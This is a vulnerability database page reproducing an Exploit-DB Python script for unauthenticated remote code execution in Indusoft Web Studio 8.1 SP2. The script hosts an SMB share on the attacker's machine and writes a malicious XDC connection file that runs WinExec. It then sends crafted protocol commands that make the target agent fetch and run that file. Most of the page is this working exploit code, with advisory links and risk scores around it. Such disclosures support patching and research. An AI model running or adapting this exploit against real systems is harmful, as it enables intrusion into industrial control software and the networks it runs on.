Lucene search
K

Indusoft Web Studio 8.1 SP2 - Remote Code Execution

🗓️ 11 Feb 2019 00:00:00Reported by Jacob BainesType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 102 Views

Indusoft Web Studio 8.1 SP2 - Unauthenticated Remote Code Execution vulnerability via crafted XDC fil

Related
Code
##
# Exploit Title: Indusoft Web Studio Unauthenticated RCE
# Date: 02/04/2019
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.indusoft.com/
# Software http://www.indusoft.com/Products-Downloads/Download-Library
# Version: 8.1 SP2 and below
# Tested on: Windows 7 running the Web Studio 8.1 SP2 demo app
# CVE : CVE-2019-6545 CVE-2019-6543
# Advisory:
https://sw.aveva.com/hubfs/assets-2018/pdf/security-bulletin/SecurityBulletin_LFSec133.pdf?hsLang=en
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-19-036-01
# Advisory: https://www.tenable.com/security/research/tra-2019-04
##
import argparse
import threading
import socket
from struct import *
import time
import sys

from impacket import smbserver

##
# The SMB Server function. Runs on its own thread.
# @param lip the listening IP address
##
def smb_server(lip):
    server = smbserver.SimpleSMBServer(listenAddress=lip, listenPort=445)
    server.addShare('LOLWAT', '.', '')
    server.setSMBChallenge('')
    server.setLogFile('/dev/null')
    server.start()

##
# Converts a normal string to a utf 16 with a length field.
# @param s the string to convert
##
def wstr(s):
  slen = len(s)
  s = s.encode('utf_16_le')

  out = '\xff\xfe\xff'
  if slen < 0xff:
    out += pack('<B', slen) + s
  elif slen < 0xffff:
    out += '\xff' + pack('<H', slen) + s
  else:
    out += '\xff\xff\xff' + pack('<L', slen) + s

  return out

if __name__ == '__main__':

    top_parser = argparse.ArgumentParser(description='test')
    top_parser.add_argument('--cip', action="store", dest="cip",
required=True, help="The IPv4 address to connect to")
    top_parser.add_argument('--cport', action="store", dest="cport",
type=int, help="The port to connect to", default="1234")
    top_parser.add_argument('--lip', action="store", dest="lip",
required=True, help="The address to connect back to")
    args = top_parser.parse_args()

    # Connect to the remote agent
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "[+] Attempting connection to " + args.cip + ":" + str(args.cport)
    sock.settimeout(15)
    sock.connect((args.cip, args.cport))
    print "[+] Connected!"

    # spin up the SMB server thread
    print "[+] Spinning up the SMB Server"
    smb_thread = threading.Thread(target=smb_server, args=(args.lip, ))
    smb_thread.daemon = True;
    smb_thread.start()

    # drop the xdc file
    print "[+] Creating the DB.xdc file"
    xdc = open("./DB.xdc", "w+")
    xdc.write(
        "<?xml version=\"1.0\"?>\n"
        "<Connection>\n"
          "\t<ConnectionString>{WinExec(\"calc.exe\")}</ConnectionString>\n"
          "\t<User></User>\n"
          "\t<TimeOut>2</TimeOut>\n"
          "\t<LongTimeOut>5</LongTimeOut>\n"
          "\t<HostName>127.0.0.1</HostName>\n"
          "\t<TCPPort>3997</TCPPort>"
          "\t<Flags>0</Flags>\n"
          "\t<RetryInterval>120</RetryInterval>\n"
        "</Connection>\n")
    xdc.close()

    print "[+] Sending the connection init message"
    init_conn = "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03"
    sock.sendall(init_conn)
    resp = sock.recv(1024)
    print '<- ' + resp

    # do a basic validation of the response
    if (len(resp) > 0 and resp[len(resp) - 1] == '\x03'):
        print "[+] Received an init response"
    else:
        print "[-] Invalid init response. Exiting..."
        sock.close()
        sys.exit(0)

    # Craft command 66
    cmd = wstr('CO')  # options: EX, CO, CF, CC
    cmd += wstr('\\\\' + args.lip + '\\LOLWAT\\DB') # file to load
    cmd += wstr('')
    cmd += wstr('')
    cmd += wstr('')
    cmd += wstr('lolwat')
    cmd += pack('<L', 0x3e80)
    cmd += pack('<L', 0)
    cmd += pack('<L', 100)
    cmd = '\x02\x42' + cmd + '\x03'

    # Send it to the agent
    print "[+] Sending command 66"
    sock.sendall(cmd)

    print "[+] Grabbing the command response"
    resp = sock.recv(1024)
    print '<- ' + resp
    if resp.find("Format of the initialization string does not conform to
specification starting at index 0".encode('utf_16_le')) != -1:
        print '[+] Success! We received the expected error message.'
    else:
        print '[-] Unexpected error message. Something went wrong.'

    print '[+] Disconnecting'
    sock.close()
    print '[+] Wait while the agent disconnects from the SMB server...'
    sys.exit(0)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Feb 2019 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.32472
102